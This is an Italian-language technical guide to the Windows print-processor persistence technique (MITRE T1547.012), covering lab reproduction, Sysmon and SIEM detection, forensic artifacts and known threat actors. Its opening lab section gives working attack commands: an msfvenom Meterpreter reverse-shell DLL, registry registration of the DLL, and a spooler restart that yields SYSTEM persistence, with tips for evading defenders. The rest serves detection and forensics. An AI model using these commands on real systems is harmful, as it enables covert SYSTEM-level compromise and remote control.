Print Processor Hijacking: Print Processors (T1547.012)

Per riprodurre T1547.012 in laboratorio, prepara una VM Windows 10/11 o Server 2019+ con Sysmon installato e un account amministrativo locale. L'obiettivo è dimostrare come una DLL non firmata possa essere caricata da spoolsv.exe al boot successivo.

Il primo passo è generare un payload DLL con export compatibili con l'interfaccia print processor. Con Metasploit Framework (open source) puoi produrre una reverse shell:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f dll -o spool.dll

In alternativa, per test più realistici, compila una DLL C/C++ che esporti almeno EnumPrintProcessorDatatypesW, GetPrintProcessorCapabilities, OpenPrintProcessor, PrintDocumentOnPrintProcessor e ClosePrintProcessor. Senza questi export lo spooler rifiuterà il caricamento e potresti crashare il servizio.

Recupera la directory corretta invocando GetPrintProcessorDirectory via PowerShell o C#. Su x64 standard è *C:\Windows\System32\spool\prtprocs\x64*. Copia la DLL in quel percorso (richiede privilegi amministrativi o SeLoadDriverPrivilege):

*copy spool.dll C:\Windows\System32\spool\prtprocs\x64*

Registra il print processor via registro, replicando la TTP osservata su Earth Lusca:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\UDPrint" /v Driver /d spool.dll /f

Riavvia lo spooler per innescare il caricamento:

net stop spooler && net start spooler

A quel punto spoolsv.exe, che gira come NT AUTHORITY\SYSTEM, mappa la DLL in memoria e ne esegue il codice di DllMain, restituendo una sessione con privilegi SYSTEM.

Per un approccio API-driven più stealth, usa AddPrintProcessorW dalla winspool.drv in un loader C#. Questa via è preferita in engagement dove vuoi evitare la scrittura diretta al registro, che è il primo posto dove il blue team cerca. Strumenti come SharPersist (open source, di Mandiant) integrano moduli affini a persistence tramite spooler.

Documenta nel report red team la validità della persistenza attraverso un reboot completo, la conservazione dei privilegi SYSTEM e l'assenza di alert su un EDR non tunato. Come pulizia, elimina la chiave di registro creata, rimuovi la DLL dalla directory prtprocs e riavvia lo spooler. Verifica con Get-ItemProperty che la sottochiave sia effettivamente sparita prima di chiudere l'assessment.

La detection di T1547.012 richiede la correlazione di tre eventi distinti in una finestra temporale ristretta, tipicamente entro 5 minuti attorno a un riavvio dello spooler o del sistema. La strategia DET0026 di MITRE identifica come pattern chiave la sequenza modifica registro → scrittura DLL → module load da spoolsv.exe.

La fonte primaria è Sysmon (open source, Microsoft) con una configurazione che copre almeno gli EventID 11 (FileCreate), 13 (RegistryValueSet) e 7 (ImageLoad). Configura una regola su EventID 13 che intercetti scritture su HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments*\Print Processors*\Driver, così come sui ControlSet numerati. Ogni modifica a questo percorso deve generare alert alto-priorità, perché in un ambiente enterprise stabile i print processor non cambiano quasi mai al di fuori di installazioni driver stampante autorizzate.

Parallelamente, monitora EventID 11 per creazione di file .dll dentro *C:\Windows\System32\spool\prtprocs\x64* e *\W32X86*. Un file DLL che compare in quella directory scritto da un processo diverso da msiexec.exe, TrustedInstaller.exe o dagli installer firmati dei vendor stampanti (HP, Canon, Xerox) è fortemente sospetto.

Il terzo tassello è EventID 7 con Image pari a C:\Windows\System32\spoolsv.exe e ImageLoaded che punta alla DLL sospetta. Applica Authenticode signature validation: se la DLL caricata non è firmata o ha un publisher sconosciuto, alza la severity a critical. I dataset MITRE evidenziano che PipeMon (S0501) e Gelsemium (S0666) droppano DLL non firmate come winprint.dll in questa directory.

Dal punto di vista D3FEND, i controlli rilevanti sono Process Analysis sui figli di spoolsv.exe, File Analysis sugli hash delle DLL caricate e Registry Analysis sulle chiavi Print Processors. Integra queste telemetrie in una regola SIEM che correli i tre eventi entro la finestra di 5 minuti attorno a EventID 7036 del System log (service state change per Print Spooler).

Falsi positivi tipici: installazioni legittime di driver stampante di rete, aggiornamenti Windows Update che rifresh-ano il subsystem, software di gestione stampa (PaperCut, Equitrac). Costruisci un'allowlist per nomi DLL noti (winprint.dll firmato Microsoft, processor vendor-specific) e per finestre di manutenzione pianificate. Monitora inoltre riavvii anomali di spoolsv.exe, spesso trigger volontario dell'attaccante per attivare il payload appena installato: un net stop spooler seguito da net start spooler fuori da change window è un indicatore comportamentale forte.

L'analisi forense di T1547.012 si concentra su tre classi di artefatti: chiavi di registro, file system della directory print processor e log di sistema che documentino il caricamento della DLL da parte di spoolsv.exe.

Sull'immagine acquisita, monta l'hive SYSTEM con Registry Explorer (gratuito, Eric Zimmerman) o RegRipper (open source) e ispeziona i percorsi *ControlSet001\Control\Print\Environments\Windows x64\Print Processors* e *CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors*. Ogni sottochiave rappresenta un processor registrato: il valore Driver indica la DLL caricata. Nel caso Earth Lusca documentato da MITRE, la sottochiave era UDPrint con Driver=spool.dll; per PipeMon (S0501) MITRE riporta la modifica alla stessa gerarchia. Confronta i nomi processor contro il baseline di un sistema pulito della stessa build Windows: qualsiasi entry al di fuori di winprint merita approfondimento.

Annota il timestamp LastWrite della chiave: fornisce l'ora di installazione della persistenza e diventa un pivot temporale per la timeline. Con Plaso/log2timeline (open source) genera un supertimeline che allinei registry writes, file creation nella directory spool e servizio spooler restart.

Sul filesystem, analizza C:\Windows\System32\spool\prtprocs\x64* e la corrispondente W32X86 per sistemi a 32 bit. Estrai hash SHA-256 di ogni DLL, verificane la firma con sigcheck di Sysinternals (gratuito) e sottoponi i sample non firmati a VirusTotal (freemium). Gelsemium (S0666) è noto per droppare winprint.dll proprio in questo percorso: se trovi una DLL con quel nome ma hash divergente dal winprint.dll originale Microsoft (localizzato in C:\Windows\System32*), hai la conferma dell'artefatto malevolo. I metadati NTFS ($MFT, $LogFile) estratti con MFTECmd (open source) permettono di ricostruire l'ordine esatto di creazione dei file e correlarlo con la scrittura al registro.

I log Windows utili sono in System.evtx (EventID 7036 per stato del servizio Print Spooler, 7045 per installazioni di servizi), in Application.evtx per errori di caricamento processor e ovviamente in Microsoft-Windows-Sysmon/Operational.evtx se Sysmon era attivo. Il PCA (Program Compatibility Assistant) e i Prefetch di spoolsv.exe (C:\Windows\Prefetch\SPOOLSV.EXE-.pf*) confermano frequenza e ora di esecuzione del servizio dopo la modifica.

Correla infine con Amcache.hve e ShimCache per rilevare esecuzioni della DLL malevola, e conserva copia forense della directory prtprocs e degli hive registry come evidence chain. La timeline finale dovrebbe mostrare: creazione DLL → scrittura registry → riavvio spooler → primo module load.

Il panorama di attori che sfruttano T1547.012 è ristretto ma qualitativamente significativo, riflettendo che si tratta di una tecnica di persistenza matura, adottata da gruppi con capacità di sviluppo avanzate e obiettivi di lungo termine.

Earth Lusca (G1006) è l'unico gruppo APT mappato da MITRE su questa tecnica. Nella loro implementazione, hanno registrato la chiave HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\UDPrint con valore Driver=spool.dll, caricando il payload al successivo restart dello spooler. Il gruppo è documentato in operazioni di cyber-espionage con targeting eterogeneo che spazia tra settori governativi, telecomunicazioni e organizzazioni della società civile. L'uso di questa TTP indica la volontà di ottenere persistenza SYSTEM-level su asset selezionati, tipicamente workstation di utenti chiave o server di infrastruttura interna.

Sul fronte malware, PipeMon (S0501) è una backdoor modulare storicamente associata a operazioni contro il settore videogaming in Asia. L'installer di PipeMon modifica la gerarchia Print Processors per caricare i propri moduli tramite spoolsv, adottando una configurazione multi-stage in cui il processor DLL funge da loader per componenti successivi. Questo pattern conferma che T1547.012 viene scelto quando l'attaccante prevede una permanenza estesa e necessita di sopravvivenza attraverso riavvii pianificati.

Gelsemium (S0666) è una famiglia di malware modulare attribuita a operazioni di spionaggio in Asia orientale e Medio Oriente. Il dato MITRE indica che Gelsemium si deposita come C:\Windows\System32\spool\prtprocs\x64\winprint.dll, sovrapponendosi al nome del processor legittimo Microsoft. Questa scelta di masquerading (T1036) rende l'artefatto particolarmente difficile da isolare in triage superficiale: un analista che elenca le sottochiavi Print Processors trova winprint — un nome legittimo — e potrebbe non approfondire senza confrontare l'hash.

Pattern rilevabili nei tre casi: preferenza per architettura x64, uso della sottochiave ControlSet001 piuttosto che CurrentControlSet (probabilmente per garantire persistenza anche se l'attaccante non conosce quale CurrentControlSet il sistema selezionerà al prossimo boot), e nomi DLL che imitano nomenclatura legittima Microsoft (spool.dll, winprint.dll).

L'assenza di campagne pubblicamente documentate suggerisce che T1547.012 viene impiegato in operazioni mirate e non emerge quasi mai in commodity malware. Per un threat intelligence officer, il rilevamento di questa TTP in un incidente dovrebbe elevare l'ipotesi di attribuzione verso APT con capacità di ricerca offensiva Windows-internals, riducendo la probabilità di crimeware finanziariamente motivato. Monitorare repository come MalwareBazaar (gratuito) e feed di sandbox pubbliche per nuovi sample che tocchino le API AddPrintProcessor o GetPrintProcessorDirectory consente early warning su varianti emergenti.

MITRE ATT&CK T1547.012 (Print Processors), tattiche TA0003 e TA0004, gruppo G1006 (Earth Lusca), software S0501 (PipeMon) e S0666 (Gelsemium), mitigazione M1018, strategia di detection DET0026. Contenuti tecnici su comandi, tool e artefatti forensi integrati con conoscenza professionale verificabile su documentazione ufficiale Microsoft, Sysinternals ed Eric Zimmerman Tools.